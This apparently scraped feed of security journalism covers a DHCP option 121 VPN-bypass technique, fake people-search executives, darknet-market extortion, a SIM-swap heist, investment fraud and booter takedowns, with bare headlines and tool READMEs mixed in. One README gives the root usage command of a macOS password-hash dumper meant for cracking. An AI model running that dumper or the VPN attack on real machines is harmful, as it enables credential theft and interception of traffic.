Why Your VPN May Not Be As Secure As It Claims

Virtual private networking (VPN) companies market their services as a way to prevent anyone from snooping on your Internet usage. But new research suggests this is a dangerous assumption when connecting to a VPN via an untrusted network, because attackers on the same network could force a target’s traffic off of the protection provided by their VPN without triggering any alerts to the user.

Image: Shutterstock.

When a device initially tries to connect to a network, it broadcasts a message to the entire local network stating that it is requesting an Internet address. Normally, the only system on the network that notices this request and replies is the router responsible for managing the network to which the user is trying to connect.

The machine on a network responsible for fielding these requests is called a Dynamic Host Configuration Protocol (DHCP) server, which will issue time-based leases for IP addresses. The DHCP server also takes care of setting a specific local address — known as an Internet gateway — that all connecting systems will use as a primary route to the Web.

VPNs work by creating a virtual network interface that serves as an encrypted tunnel for communications. But researchers at Leviathan Security say they’ve discovered it’s possible to abuse an obscure feature built into the DHCP standard so that other users on the local network are forced to connect to a rogue DHCP server.

“Our technique is to run a DHCP server on the same network as a targeted VPN user and to also set our DHCP configuration to use itself as a gateway,” Leviathan researchers Lizzie Moratti and Dani Cronce wrote. “When the traffic hits our gateway, we use traffic forwarding rules on the DHCP server to pass traffic through to a legitimate gateway while we snoop on it.”

The feature being abused here is known as DHCP option 121, and it allows a DHCP server to set a route on the VPN user’s system that is more specific than those used by most VPNs. Abusing this option, Leviathan found, effectively gives an attacker on the local network the ability to set up routing rules that have a higher priority than the routes for the virtual network interface that the target’s VPN creates.

“Pushing a route also means that the network traffic will be sent over the same interface as the DHCP server instead of the virtual network interface,” the Leviathan researchers said. “This is intended functionality that isn’t clearly stated in the RFC [standard]. Therefore, for the routes we push, it is never encrypted by the VPN’s virtual interface but instead transmitted by the network interface that is talking to the DHCP server. As an attacker, we can select which IP addresses go over the tunnel and which addresses go over the network interface talking to our DHCP server.”

Leviathan found they could force VPNs on the local network that already had a connection to arbitrarily request a new one. In this well-documented tactic, known as a DHCP starvation attack, an attacker floods the DHCP server with requests that consume all available IP addresses that can be allocated. Once the network’s legitimate DHCP server is completely tied up, the attacker can then have their rogue DHCP server respond to all pending requests.

“This technique can also be used against an already established VPN connection once the VPN user’s host needs to renew a lease from our DHCP server,” the researchers wrote. “We can artificially create that scenario by setting a short lease time in the DHCP lease, so the user updates their routing table more frequently. In addition, the VPN control channel is still intact because it already uses the physical interface for its communication. In our testing, the VPN always continued to report as connected, and the kill switch was never engaged to drop our VPN connection.”

The researchers say their methods could be used by an attacker who compromises a DHCP server or wireless access point, or by a rogue network administrator who owns the infrastructure themselves and maliciously configures it. Alternatively, an attacker could set up an “evil twin” wireless hotspot that mimics the signal broadcast by a legitimate provider.

ANALYSIS

Bill Woodcock is executive director at Packet Clearing House, a nonprofit based in San Francisco. Woodcock said Option 121 has been included in the DHCP standard since 2002, which means the attack described by Leviathan has technically been possible for the last 22 years.

“They’re realizing now that this can be used to circumvent a VPN in a way that’s really problematic, and they’re right,” Woodcock said.

Woodcock said anyone who might be a target of spear phishing attacks should be very concerned about using VPNs on an untrusted network.

“Anyone who is in a position of authority or maybe even someone who is just a high net worth individual, those are all very reasonable targets of this attack,” he said. “If I were trying to do an attack against someone at a relatively high security company and I knew where they typically get their coffee or sandwich at twice a week, this is a very effective tool in that toolbox. I’d be a little surprised if it wasn’t already being exploited in that way, because again this isn’t rocket science. It’s just thinking a little outside the box.”

Successfully executing this attack on a network likely would not allow an attacker to see all of a target’s traffic or browsing activity. That’s because for the vast majority of the websites visited by the target, the content is encrypted (the site’s address begins with https://). However, an attacker would still be able to see the metadata — such as the source and destination addresses — of any traffic flowing by.

KrebsOnSecurity shared Leviathan’s research with John Kristoff, founder of dataplane.org and a PhD candidate in computer science at the University of Illinois Chicago. Kristoff said practically all user-edge network gear, including WiFi deployments, support some form of rogue DHCP server detection and mitigation, but that it’s unclear how widely deployed those protections are in real-world environments.

“However, and I think this is a key point to emphasize, an untrusted network is an untrusted network, which is why you’re usually employing the VPN in the first place,” Kristoff said. “If [the] local network is inherently hostile and has no qualms about operating a rogue DHCP server, then this is a sneaky technique that could be used to de-cloak some traffic – and if done carefully, I’m sure a user might never notice.”

MITIGATIONS

According to Leviathan, there are several ways to minimize the threat from rogue DHCP servers on an unsecured network. One is using a device powered by the Android operating system, which apparently ignores DHCP option 121.

Relying on a temporary wireless hotspot controlled by a cellular device you own also effectively blocks this attack.

“They create a password-locked LAN with automatic network address translation,” the researchers wrote of cellular hot-spots. “Because this network is completely controlled by the cellular device and requires a password, an attacker should not have local network access.”

Leviathan’s Moratti said another mitigation is to run your VPN from inside of a virtual machine (VM) — like Parallels, VMware or VirtualBox. VPNs run inside of a VM are not vulnerable to this attack, Moratti said, provided they are not run in “bridged mode,” which causes the VM to replicate another node on the network.

In addition, a technology called “deep packet inspection” can be used to deny all in- and outbound traffic from the physical interface except for the DHCP and the VPN server. However, Leviathan says this approach opens up a potential “side channel” attack that could be used to determine the destination of traffic.

“This could be theoretically done by performing traffic analysis on the volume a target user sends when the attacker’s routes are installed compared to the baseline,” they wrote. “In addition, this selective denial-of-service is unique as it could be used to censor specific resources that an attacker doesn’t want a target user to connect to even while they are using the VPN.”

Moratti said Leviathan’s research shows that many VPN providers are currently making promises to their customers that their technology can’t keep.

“VPNs weren’t designed to keep you more secure on your local network, but to keep your traffic more secure on the Internet,” Moratti said. “When you start making assurances that your product protects people from seeing your traffic, there’s an assurance or promise that can’t be met.”

A copy of Leviathan’s research, along with code intended to allow others to duplicate their findings in a lab environment, is available here.

The Not-so-True People-Search Network from China

It’s not unusual for the data brokers behind people-search websites to use pseudonyms in their day-to-day lives (you would, too). Some of these personal data purveyors even try to reinvent their online identities in a bid to hide their conflicts of interest. But it’s not every day you run across a US-focused people-search network based in China whose principal owners all appear to be completely fabricated identities.

Responding to a reader inquiry concerning the trustworthiness of a site called TruePeopleSearch[.]net, KrebsOnSecurity began poking around. The site offers to sell reports containing photos, police records, background checks, civil judgments, contact information “and much more!” According to LinkedIn and numerous profiles on websites that accept paid article submissions, the founder of TruePeopleSearch is Marilyn Gaskell from Phoenix, Ariz.

The saucy yet studious LinkedIn profile for Marilyn Gaskell.

Ms. Gaskell has been quoted in multiple “articles” about random subjects, such as this article at HRDailyAdvisor about the pros and cons of joining a company-led fantasy football team.

“Marilyn Gaskell, founder of TruePeopleSearch, agrees that not everyone in the office is likely to be a football fan and might feel intimidated by joining a company league or left out if they don’t join; however, her company looked for ways to make the activity more inclusive,” this paid story notes.

Also quoted in this article is Sally Stevens, who is cited as HR Manager at FastPeopleSearch[.]io.

Sally Stevens, the phantom HR Manager for FastPeopleSearch.

“Fantasy football provides one way for employees to set aside work matters for some time and have fun,” Stevens contributed. “Employees can set a special league for themselves and regularly check and compare their scores against one another.”

Imagine that: Two different people-search companies mentioned in the same story about fantasy football. What are the odds?

Both TruePeopleSearch and FastPeopleSearch allow users to search for reports by first and last name, but proceeding to order a report prompts the visitor to purchase the file from one of several established people-finder services, including BeenVerified, Intelius, and Spokeo.

DomainTools.com shows that both TruePeopleSearch and FastPeopleSearch appeared around 2020 and were registered through Alibaba Cloud, in Beijing, China. No other information is available about these domains in their registration records, although both domains appear to use email servers based in China.

Sally Stevens’ LinkedIn profile photo is identical to a stock image titled “beautiful girl” from Adobe.com. Ms. Stevens is also quoted in a paid blog post at ecogreenequipment.com, as is Alina Clark, co-founder and marketing director of CocoDoc, an online service for editing and managing PDF documents.

The profile photo for Alina Clark is a stock photo appearing on more than 100 websites.

Scouring multiple image search sites reveals Ms. Clark’s profile photo on LinkedIn is another stock image that is currently on more than 100 different websites, including Adobe.com. Cocodoc[.]com was registered in June 2020 via Alibaba Cloud Beijing in China.

The same Alina Clark and photo materialized in a paid article at the website Ceoblognation, which in 2021 included her at #11 in a piece called “30 Entrepreneurs Describe The Big Hairy Audacious Goals (BHAGs) for Their Business.” It’s also worth noting that Ms. Clark is currently listed as a “former Forbes Council member” at the media outlet Forbes.com.

Entrepreneur #6 is Stephen Curry, who is quoted as CEO of CocoSign[.]com, a website that claims to offer an “easier, quicker, safer eSignature solution for small and medium-sized businesses.” Incidentally, the same photo for Stephen Curry #6 is also used in this “article” for #22 Jake Smith, who is named as the owner of a different company.

Stephen Curry, aka Jake Smith, aka no such person.

Mr. Curry’s LinkedIn profile shows a young man seated at a table in front of a laptop, but an online image search shows this is another stock photo. Cocosign[.]com was registered in June 2020 via Alibaba Cloud Beijing. No ownership details are available in the domain registration records.

Listed at #13 in that 30 Entrepreneurs article is Eden Cheng, who is cited as co-founder of PeopleFinderFree[.]com. KrebsOnSecurity could not find a LinkedIn profile for Ms. Cheng, but a search on her profile image from that Entrepreneurs article shows the same photo for sale at Shutterstock and other stock photo sites.

DomainTools says PeopleFinderFree was registered through Alibaba Cloud, Beijing. Attempts to purchase reports through PeopleFinderFree produce a notice saying the full report is only available via Spokeo.com.

Lynda Fairly is Entrepreneur #24, and she is quoted as co-founder of Numlooker[.]com, a domain registered in April 2021 through Alibaba in China. Searches for people on Numlooker forward visitors to Spokeo.

The photo next to Ms. Fairly’s quote in Entrepreneurs matches that of a LinkedIn profile for Lynda Fairly. But a search on that photo shows this same portrait has been used by many other identities and names, including a woman from the United Kingdom who’s a cancer survivor and mother of five; a licensed marriage and family therapist in Canada; a software security engineer at Quora; a journalist on Twitter/X; and a marketing expert in Canada.

Cocofinder[.]com is a people-search service that launched in Sept. 2019, through Alibaba in China. Cocofinder lists its market officer as Harriet Chan, but Ms. Chan’s LinkedIn profile is just as sparse on work history as the other people-search owners mentioned already. An image search online shows that outside of LinkedIn, the profile photo for Ms. Chan has only ever appeared in articles at pay-to-play media sites, like this one from outbackteambuilding.com.

Perhaps because Cocodoc and Cocosign both sell software services, they are actually tied to a physical presence in the real world — in Singapore (15 Scotts Rd. #03-12 15, Singapore). But it’s difficult to discern much from this address alone.

Who’s behind all this people-search chicanery? A January 2024 review of various people-search services at the website techjury.com states that Cocofinder is a wholly-owned subsidiary of a Chinese company called Shenzhen Duiyun Technology Co.

“Though it only finds results from the United States, users can choose between four main search methods,” Techjury explains. Those include people search, phone, address and email lookup. This claim is supported by a Reddit post from three years ago, wherein the Reddit user “ProtectionAdvanced” named the same Chinese company.

Is Shenzhen Duiyun Technology Co. responsible for all these phony profiles? How many more fake companies and profiles are connected to this scheme? KrebsOnSecurity found other examples that didn’t appear directly tied to other fake executives listed here, but which nevertheless are registered through Alibaba and seek to drive traffic to Spokeo and other data brokers. For example, there’s the winsome Daniela Sawyer, founder of FindPeopleFast[.]net, whose profile is flogged in paid stories at entrepreneur.org.

Google currently turns up nothing else for in a search for Shenzhen Duiyun Technology Co. Please feel free to sound off in the comments if you have any more information about this entity, such as how to contact it. Or reach out directly at krebsonsecurity @ gmail.com.

A mind map highlighting the key points of research in this story. Click to enlarge. Image: KrebsOnSecurity.com

ANALYSIS

It appears the purpose of this network is to conceal the location of people in China who are seeking to generate affiliate commissions when someone visits one of their sites and purchases a people-search report at Spokeo, for example. And it is clear that Spokeo and others have created incentives wherein anyone can effectively white-label their reports, and thereby make money brokering access to peoples’ personal information.

Spokeo’s Wikipedia page says the company was founded in 2006 by four graduates from Stanford University. Spokeo co-founder and current CEO Harrison Tang has not yet responded to requests for comment.

Intelius is owned by San Diego based PeopleConnect Inc., which also owns Classmates.com, USSearch, TruthFinder and Instant Checkmate. PeopleConnect Inc. in turn is owned by H.I.G. Capital, a $60 billion private equity firm. Requests for comment were sent to H.I.G. Capital. This story will be updated if they respond.

BeenVerified is owned by a New York City based holding company called The Lifetime Value Co., a marketing and advertising firm whose brands include PeopleLooker, NeighborWho, Ownerly, PeopleSmart, NumberGuru, and Bumper, a car history site.

Ross Cohen, chief operating officer at The Lifetime Value Co., said it’s likely the network of suspicious people-finder sites was set up by an affiliate. Cohen said Lifetime Value would investigate to determine if this particular affiliate was driving them any sign-ups.

All of the above people-search services operate similarly. When you find the person you’re looking for, you are put through a lengthy (often 10-20 minute) series of splash screens that require you to agree that these reports won’t be used for employment screening or in evaluating new tenant applications. Still more prompts ask if you are okay with seeing “potentially shocking” details about the subject of the report, including arrest histories and photos.

Only at the end of this process does the site disclose that viewing the report in question requires signing up for a monthly subscription, which is typically priced around $35. Exactly how and from where these major people-search websites are getting their consumer data — and customers — will be the subject of further reporting here.

The main reason these various people-search sites require you to affirm that you won’t use their reports for hiring or vetting potential tenants is that selling reports for those purposes would classify these firms as consumer reporting agencies (CRAs) and expose them to regulations under the Fair Credit Reporting Act (FCRA).

These data brokers do not want to be treated as CRAs, and for this reason their people search reports typically don’t include detailed credit histories, financial information, or full Social Security Numbers (Radaris reports include the first six digits of one’s SSN).

But in September 2023, the U.S. Federal Trade Commission found that TruthFinder and Instant Checkmate were trying to have it both ways. The FTC levied a $5.8 million penalty against the companies for allegedly acting as CRAs because they assembled and compiled information on consumers into background reports that were marketed and sold for employment and tenant screening purposes.

The FTC also found TruthFinder and Instant Checkmate deceived users about background report accuracy. The FTC alleges these companies made millions from their monthly subscriptions using push notifications and marketing emails that claimed that the subject of a background report had a criminal or arrest record, when the record was merely a traffic ticket.

The FTC said both companies deceived customers by providing “Remove” and “Flag as Inaccurate” buttons that did not work as advertised. Rather, the “Remove” button removed the disputed information only from the report as displayed to that customer; however, the same item of information remained visible to other customers who searched for the same person.

The FTC also said that when a customer flagged an item in the background report as inaccurate, the companies never took any steps to investigate those claims, to modify the reports, or to flag to other customers that the information had been disputed.

There are a growing number of online reputation management companies that offer to help customers remove their personal information from people-search sites and data broker databases. There are, no doubt, plenty of honest and well-meaning companies operating in this space, but it has been my experience that a great many people involved in that industry have a background in marketing or advertising — not privacy.

Also, some so-called data privacy companies may be wolves in sheep’s clothing. On March 14, KrebsOnSecurity published an abundance of evidence indicating that the CEO and founder of the data privacy company OneRep.com was responsible for launching dozens of people-search services over the years.

Finally, some of the more popular people-search websites are notorious for ignoring requests from consumers seeking to remove their information, regardless of which reputation or removal service you use. Some force you to create an account and provide more information before you can remove your data. Even then, the information you worked hard to remove may simply reappear a few months later.

This aptly describes countless complaints lodged against the data broker and people search giant Radaris. On March 8, KrebsOnSecurity profiled the co-founders of Radaris, two Russian brothers in Massachusetts who also operate multiple Russian-language dating services and affiliate programs.

The truth is that these people-search companies will continue to thrive unless and until Congress begins to realize it’s time for some consumer privacy and data protection laws that are relevant to life in the 21st century. Duke University adjunct professor Justin Sherman says virtually all state privacy laws exempt records that might be considered “public” or “government” documents, including voting registries, property filings, marriage certificates, motor vehicle records, criminal records, court documents, death records, professional licenses, bankruptcy filings, and more.

“Consumer privacy laws in California, Colorado, Connecticut, Delaware, Indiana, Iowa, Montana, Oregon, Tennessee, Texas, Utah, and Virginia all contain highly similar or completely identical carve-outs for ‘publicly available information’ or government records,” Sherman said.

Incognito Darknet Market Mass-Extorts Buyers, Sellers

Borrowing from the playbook of ransomware purveyors, the darknet narcotics bazaar Incognito Market has begun extorting all of its vendors and buyers, threatening to publish cryptocurrency transaction and chat records of users who refuse to pay a fee ranging from $100 to $20,000. The bold mass extortion attempt comes just days after Incognito Market administrators reportedly pulled an “exit scam” that left users unable to withdraw millions of dollars worth of funds from the platform.

An extortion message currently on the Incognito Market homepage.

In the past 24 hours, the homepage for the Incognito Market was updated to include a blackmail message from its owners, saying they will soon release purchase records of vendors who refuse to pay to keep the records confidential.

“We got one final little nasty surprise for y’all,” reads the message to Incognito Market users. “We have accumulated a list of private messages, transaction info and order details over the years. You’ll be surprised at the number of people that relied on our ‘auto-encrypt’ functionality. And by the way, your messages and transaction IDs were never actually deleted after the ‘expiry’….SURPRISE SURPRISE!!! Anyway, if anything were to leak to law enforcement, I guess nobody never slipped up.”

Incognito Market says it plans to publish the entire dump of 557,000 orders and 862,000 cryptocurrency transaction IDs at the end of May.

“Whether or not you and your customers’ info is on that list is totally up to you,” the Incognito administrators advised. “And yes, this is an extortion!!!!”

The extortion message includes a “Payment Status” page that lists the darknet market’s top vendors by their handles, saying at the top that “you can see which vendors care about their customers below.” The names in green supposedly correspond to users who have already opted to pay.

The “Payment Status” page set up by the Incognito Market extortionists.

We’ll be publishing the entire dump of 557k orders and 862k crypto transaction IDs at the end of May, whether or not you and your customers’ info is on that list is totally up to you. And yes, this is an extortion!!!!

Incognito Market said it plans to open up a “whitelist portal” for buyers to remove their transaction records “in a few weeks.”

The mass-extortion of Incognito Market users comes just days after a large number of users reported they were no longer able to withdraw funds from their buyer or seller accounts. The cryptocurrency-focused publication Cointelegraph.com reported Mar. 6 that Incognito was exit-scamming its users out of their bitcoins and Monero deposits.

CoinTelegraph notes that Incognito Market administrators initially lied about the situation, and blamed users’ difficulties in withdrawing funds on recent changes to Incognito’s withdrawal systems.

Incognito Market deals primarily in narcotics, so it’s likely many users are now worried about being outed as drug dealers. Creating a new account on Incognito Market presents one with an ad for 5 grams of heroin selling for $450.

New Incognito Market users are treated to an ad for $450 worth of heroin.

The double whammy now hitting Incognito Market users is somewhat akin to the double extortion techniques employed by many modern ransomware groups, wherein victim organizations are hacked, relieved of sensitive information and then presented with two separate ransom demands: One in exchange for a digital key needed to unlock infected systems, and another to secure a promise that any stolen data will not be published or sold, and will be destroyed.

Incognito Market has priced its extortion for vendors based on their status or “level” within the marketplace. Level 1 vendors can supposedly have their information removed by paying a $100 fee. However, larger “Level 5” vendors are asked to cough up $20,000 payments.

The past is replete with examples of similar darknet market exit scams, which tend to happen eventually to all darknet markets that aren’t seized and shut down by federal investigators, said Brett Johnson, a convicted and reformed cybercriminal who built the organized cybercrime community Shadowcrew many years ago.

“Shadowcrew was the precursor to today’s Darknet Markets and laid the foundation for the way modern cybercrime channels still operate today,” Johnson said. “The Truth of Darknet Markets? ALL of them are Exit Scams. The only question is whether law enforcement can shut down the market and arrest its operators before the exit scam takes place.”

Arrests in $400M SIM-Swap Tied to Heist at FTX?

Three Americans were charged this week with stealing more than $400 million in a November 2022 SIM-swapping attack. The U.S. government did not name the victim organization, but there is every indication that the money was stolen from the now-defunct cryptocurrency exchange FTX, which had just filed for bankruptcy on that same day.

A graphic illustrating the flow of more than $400 million in cryptocurrencies stolen from FTX on Nov. 11-12, 2022. Image: Elliptic.co.

An indictment unsealed this week and first reported on by Ars Technica alleges that Chicago man Robert Powell, a.k.a. “R,” “R$” and “ElSwapo1,” was the ringleader of a SIM-swapping group called the “Powell SIM Swapping Crew.” Colorado resident Emily “Em” Hernandez allegedly helped the group gain access to victim devices in service of SIM-swapping attacks between March 2021 and April 2023. Indiana resident Carter Rohn, a.k.a. “Carti,” and “Punslayer,” allegedly assisted in compromising devices.

In a SIM-swapping attack, the crooks transfer the target’s phone number to a device they control, allowing them to intercept any text messages or phone calls sent to the victim, including one-time passcodes for authentication or password reset links sent via SMS.

The indictment states that the perpetrators in this heist stole the $400 million in cryptocurrencies on Nov. 11, 2022 after they SIM-swapped an AT&T customer by impersonating them at a retail store using a fake ID. However, the document refers to the victim in this case only by the name “Victim 1.”

Wired’s Andy Greenberg recently wrote about FTX’s all-night race to stop a $1 billion crypto heist that occurred on the evening of November 11:

“FTX’s staff had already endured one of the worst days in the company’s short life. What had recently been one of the world’s top cryptocurrency exchanges, valued at $32 billion only 10 months earlier, had just declared bankruptcy. Executives had, after an extended struggle, persuaded the company’s CEO, Sam Bankman-Fried, to hand over the reins to John Ray III, a new chief executive now tasked with shepherding the company through a nightmarish thicket of debts, many of which it seemed to have no means to pay.”

“FTX had, it seemed, hit rock bottom. Until someone—a thief or thieves who have yet to be identified—chose that particular moment to make things far worse. That Friday evening, exhausted FTX staffers began to see mysterious outflows of the company’s cryptocurrency, publicly captured on the Etherscan website that tracks the Ethereum blockchain, representing hundreds of millions of dollars worth of crypto being stolen in real time.”

The indictment says the $400 million was stolen over several hours between November 11 and 12, 2022. Tom Robinson, co-founder of the blockchain intelligence firm Elliptic, said the attackers in the FTX heist began to drain FTX wallets on the evening of Nov. 11, 2022 local time, and continuing until the 12th of November.

Robinson said Elliptic is not aware of any other crypto heists of that magnitude occurring on that date.

“We put the value of the cryptoassets stolen at $477 million,” Robinson said. “The FTX administrators have reported overall losses due to “unauthorized third-party transfers” of $413 million – the discrepancy is likely due to subsequent seizure and return of some of the stolen assets. Either way, it’s certainly over $400 million, and we are not aware of any other thefts from crypto exchanges on this scale, on this date.”

The SIM-swappers allegedly responsible for the $400 million crypto theft are all U.S. residents. But there are some indications they had help from organized cybercriminals based in Russia. In October 2023, Elliptic released a report that found the money stolen from FTX had been laundered through exchanges with ties to criminal groups based in Russia.

“A Russia-linked actor seems a stronger possibility,” Elliptic wrote. “Of the stolen assets that can be traced through ChipMixer, significant amounts are combined with funds from Russia-linked criminal groups, including ransomware gangs and darknet markets, before being sent to exchanges. This points to the involvement of a broker or other intermediary with a nexus in Russia.”

Nick Bax, director of analytics at the cryptocurrency wallet recovery firm Unciphered, said the flow of stolen FTX funds looks more like what his team has seen from groups based in Eastern Europe and Russian than anything they’ve witnessed from US-based SIM-swappers.

“I was a bit surprised by this development but it seems to be consistent with reports from CISA [the Cybersecurity and Infrastructure Security Agency] and others that “Scattered Spider” has worked with [ransomware] groups like ALPHV/BlackCat,” Bax said.

CISA’s alert on Scattered Spider says they are a cybercriminal group that targets large companies and their contracted information technology (IT) help desks.

“Scattered Spider threat actors, per trusted third parties, have typically engaged in data theft for extortion and have also been known to utilize BlackCat/ALPHV ransomware alongside their usual TTPs,” CISA said, referring to the group’s signature “Tactics, Techniques an Procedures.”

Nick Bax, posting on Twitter/X in Nov 2022 about his research on the $400 million FTX heist.

Earlier this week, KrebsOnSecurity published a story noting that a Florida man recently charged with being part of a SIM-swapping conspiracy is thought to be a key member of Scattered Spider, a hacking group also known as 0ktapus. That group has been blamed for a string of cyber intrusions at major U.S. technology companies during the summer of 2022.

Financial claims involving FTX’s bankruptcy proceedings are being handled by the financial and risk consulting giant Kroll. In August 2023, Kroll suffered its own breach after a Kroll employee was SIM-swapped. According to Kroll, the thieves stole user information for multiple cryptocurrency platforms that rely on Kroll services to handle bankruptcy proceedings.

KrebsOnSecurity sought comment for this story from Kroll, the FBI, the prosecuting attorneys, and Sullivan & Cromwell, the law firm handling the FTX bankruptcy. This story will be updated in the event any of them respond.

Attorneys for Mr. Powell said they do not know who Victim 1 is in the indictment, as the government hasn’t shared that information yet. Powell’s next court date is a detention hearing on Feb. 2, 2024.

Update, Feb. 3, 12:19 p.m. ET: The FBI declined a request to comment.

Invoice Phishing Alert: TA866 Deploys WasabiSeed & Screenshotter Malware

Osx-Password-Dumper - A Tool To Dump Users'S .Plist On A Mac OS System And To Convert Them Into A Crackable Hash

  OSX Password Dumper Script

Overview

A bash script to retrieve user's .plist files on a macOS system and to convert the data inside it to a crackable hash format. (to use with John The Ripper or Hashcat)

Useful for CTFs/Pentesting/Red Teaming on macOS systems.

Prerequisites

• The script must be run as a root user (sudo)
• macOS environment (tested on a macOS VM Ventura beta 13.0 (22A5266r))

Usage

sudo ./osx_password_cracker.sh OUTPUT_FILE /path/to/save/.plist

Your Boss’s Spyware Could Train AI to Replace You

CISA Warning: Nation-State Hackers Exploit Fortinet and Zoho Vulnerabilities

Lazarus Group Exploits Critical Zoho ManageEngine Flaw to Deploy Stealthy QuiteRAT Malware

InfoHound - An OSINT To Extract A Large Amount Of Data Given A Web Domain Name

During the reconnaissance phase, an attacker searches for any information about his target to create a profile that will later help him to identify possible ways to get in an organization. InfoHound performs passive analysis techniques (which do not interact directly with the target) using OSINT to extract a large amount of data given a web domain name. This tool will retrieve emails, people, files, subdomains, usernames and urls that will be later analyzed to extract even more valuable information.

Infohound architecture

Installation

git clone https://github.com/xampla/InfoHound.git
cd InfoHound/infohound
mv infohound_config.sample.py infohound_config.py
cd ..
docker-compose up -d

You must add API Keys inside infohound_config.py file

Default modules

InfoHound has 2 different types of modules, those which retreives data and those which analyse it to extract more relevant information.

 Retrievval modules

Analysis

Custom modules

InfoHound lets you create custom modules, you just need to add your script inside infohoudn/tool/custom_modules. One custome module has been added as an example which uses Holehe tool to check if the emails previously are attached to an account on sites like Twitter, Instagram, Imgur and more than 120 others.

Diligere, Equity-Invest Are New Firms of U.K. Con Man

John Clifton Davies, a convicted fraudster estimated to have bilked dozens of technology startups out of more than $30 million through phony investment schemes, has a brand new pair of scam companies that are busy dashing startup dreams: A fake investment firm called Equity-Invest[.]ch, and Diligere[.]co.uk, a scam due diligence company that Equity-Invest insists all investment partners use.

A native of the United Kingdom, Mr. Davies absconded from justice before being convicted on multiple counts of fraud in 2015. Prior to his conviction, Davies served 16 months in jail before being cleared on suspicion of murdering his third wife on their honeymoon in India.

The scam artist John Bernard (left) in a recent Zoom call, and a photo of John Clifton Davies from 2015.

John Clifton Davies was convicted in 2015 of swindling businesses throughout the U.K. that were struggling financially and seeking to restructure their debt. For roughly six years, Davies ran a series of firms that pretended to offer insolvency services. Instead, he simply siphoned what little remaining money these companies had, spending the stolen funds on lavish cars, home furnishings, vacations and luxury watches.

In a three-part series published in 2020, KrebsOnSecurity exposed how Davies — wanted by authorities in the U.K. — had fled the country, taken on the surname Bernard, remarried, and moved to his new (and fourth) wife’s hometown in Ukraine.

After eluding justice in the U.K., Davies reinvented himself as The Private Office of John Bernard, pretending to be a billionaire Swiss investor who made his fortunes in the dot-com boom 20 years ago and who was seeking private equity investment opportunities.

In case after case, Bernard would promise to invest millions in hi-tech startups, only to insist that companies pay tens of thousands of dollars worth of due diligence fees up front. However, the due diligence company he insisted on using — another Swiss firm called The Inside Knowledge — also was secretly owned by Bernard, who would invariably pull out of the deal after receiving the due diligence money.

Bernard found a constant stream of new marks by offering extraordinarily generous finders fees to investment brokers who could introduce him to companies seeking an infusion of cash. Inside Knowledge and The Private Office both closed up shop not long after being exposed here in 2020.

In April 2023, KrebsOnSecurity wrote about Codes2You, a recent Davies venture which purports to be a “full cycle software development company” based in the U.K. The company’s website no longer lists any of Davies’ known associates, but the site does still reference software and cloud services tied to those associates — including MySolve, a “multi-feature platform for insolvency practitioners.”

Earlier this month, KrebsOnSecurity heard from an investment broker who found out his client had paid more than $50,000 in due diligence fees related to a supposed multi-million dollar investment offer from a Swiss concern called Equity-Invest[.]ch.

The investment broker, who spoke on condition that neither he nor his client be named, said Equity-Invest began getting cold feet after his client plunked down the due diligence fees.

“Things started to go sideways when the investor purportedly booked a trip to the US to meet the team but canceled last minute because ‘his pregnant wife got in a car accident,'” the broker explained. “After that, he was radio silent until the contract expired.”

The broker said he grew suspicious when he learned that the Equity-Invest domain name was less than six months old. The broker’s suspicions were confirmed after he discovered the due diligence company that Equity-Invest insisted on using — Diligere[.]co.uk — included an email address on its homepage for another entity called Ardelis Solutions.

A corporate entity in the UK called Ardelis Solutions was key to showing the connection to Davies’ former scam investment and due diligence firms in the Codes2You investigation published earlier this year.

Although Diligere’s website claims the due diligence firm has “13 years of experiance” [sic], its domain name was only registered in April 2023. What’s more, virtually all of the vapid corporate-speak published on Diligere’s homepage is identical to text on the now-defunct InsideKnowledge[.]ch — the fake due diligence firm secretly owned for many years by The Private Office of John Bernard (John Clifton Davies).

A snippet of text from the now-defunct website of the fake Swiss investor John Bernard, in real life John Clifton Davies.

“Our steadfast conviction and energy for results is what makes us stand out,” both sites state. “We care for our clients’ and their businesses, we share their ambitions and align our goals to complement their objectives. Our clients know we’re in this together. We work in close partnership with our clients to deliver palpable results regardless of geography, complexity or controversy.”

The copy on Diligere’s homepage is identical to that once on Insideknowledge[.]com, a phony due diligence company run by John Clifton Davies.

“Crocodile of Wall Street” and her husband plead guilty to giant-sized cryptocrimes

AVRecon Botnet Leveraging Compromised Routers to Fuel Illegal Proxy Service

Buhti Ransomware Gang Switches Tactics, Utilizes Leaked LockBit and Babuk Code

Feds Take Down 13 More DDoS-for-Hire Services

The U.S. Federal Bureau of Investigation (FBI) this week seized 13 domain names connected to “booter” services that let paying customers launch crippling distributed denial-of-service (DDoS) attacks. Ten of the domains are reincarnations of DDoS-for-hire services the FBI seized in December 2022, when it charged six U.S. men with computer crimes for allegedly operating booters.

Booter services are advertised through a variety of methods, including Dark Web forums, chat platforms and even youtube.com. They accept payment via PayPal, Google Wallet, and/or cryptocurrencies, and subscriptions can range in price from just a few dollars to several hundred per month. The services are generally priced according to the volume of traffic to be hurled at the target, the duration of each attack, and the number of concurrent attacks allowed.

The websites that saw their homepages replaced with seizure notices from the FBI this week include booter services like cyberstress[.]org and exoticbooter[.]com, which the feds say were used to launch millions of attacks against millions of victims.

“School districts, universities, financial institutions and government websites are among the victims who have been targeted in attacks launched by booter services,” federal prosecutors in Los Angeles said in a statement.

Purveyors of booters or “stressers” claim they are not responsible for how customers use their services, and that they aren’t breaking the law because — like most security tools — these services can be used for good or bad purposes. Most booter sites employ wordy “terms of use” agreements that require customers to agree they will only stress-test their own networks — and that they won’t use the service to attack others.

But the DOJ says these disclaimers usually ignore the fact that most booter services are heavily reliant on constantly scanning the Internet to commandeer misconfigured devices that are critical for maximizing the size and impact of DDoS attacks. What’s more, none of the services seized by the government required users to demonstrate that they own the Internet addresses being stress-tested, something a legitimate testing service would insist upon.

This is the third in a series of U.S. and international law enforcement actions targeting booter services. In December 2022, the feds seized four-dozen booter domains and charged six U.S. men with computer crimes related to their alleged ownership of the popular DDoS-for-hire services. In December 2018, the feds targeted 15 booter sites, and three booter store defendants who later pleaded guilty.

While the FBI’s repeated seizing of booter domains may seem like an endless game of virtual Whac-a-Mole, continuously taking these services offline imposes high enough costs for the operators that some of them will quit the business altogether, says Richard Clayton, director of Cambridge University’s Cybercrime Centre.

In 2020, Clayton and others published “Cybercrime is Mostly Boring,” an academic study on the quality and types of work needed to build, maintain and defend illicit enterprises that make up a large portion of the cybercrime-as-a-service market. The study found that operating a booter service effectively requires a mind-numbing amount of constant, tedious work that tends to produce high burnout rates for booter service operators — even when the service is operating efficiently and profitably.

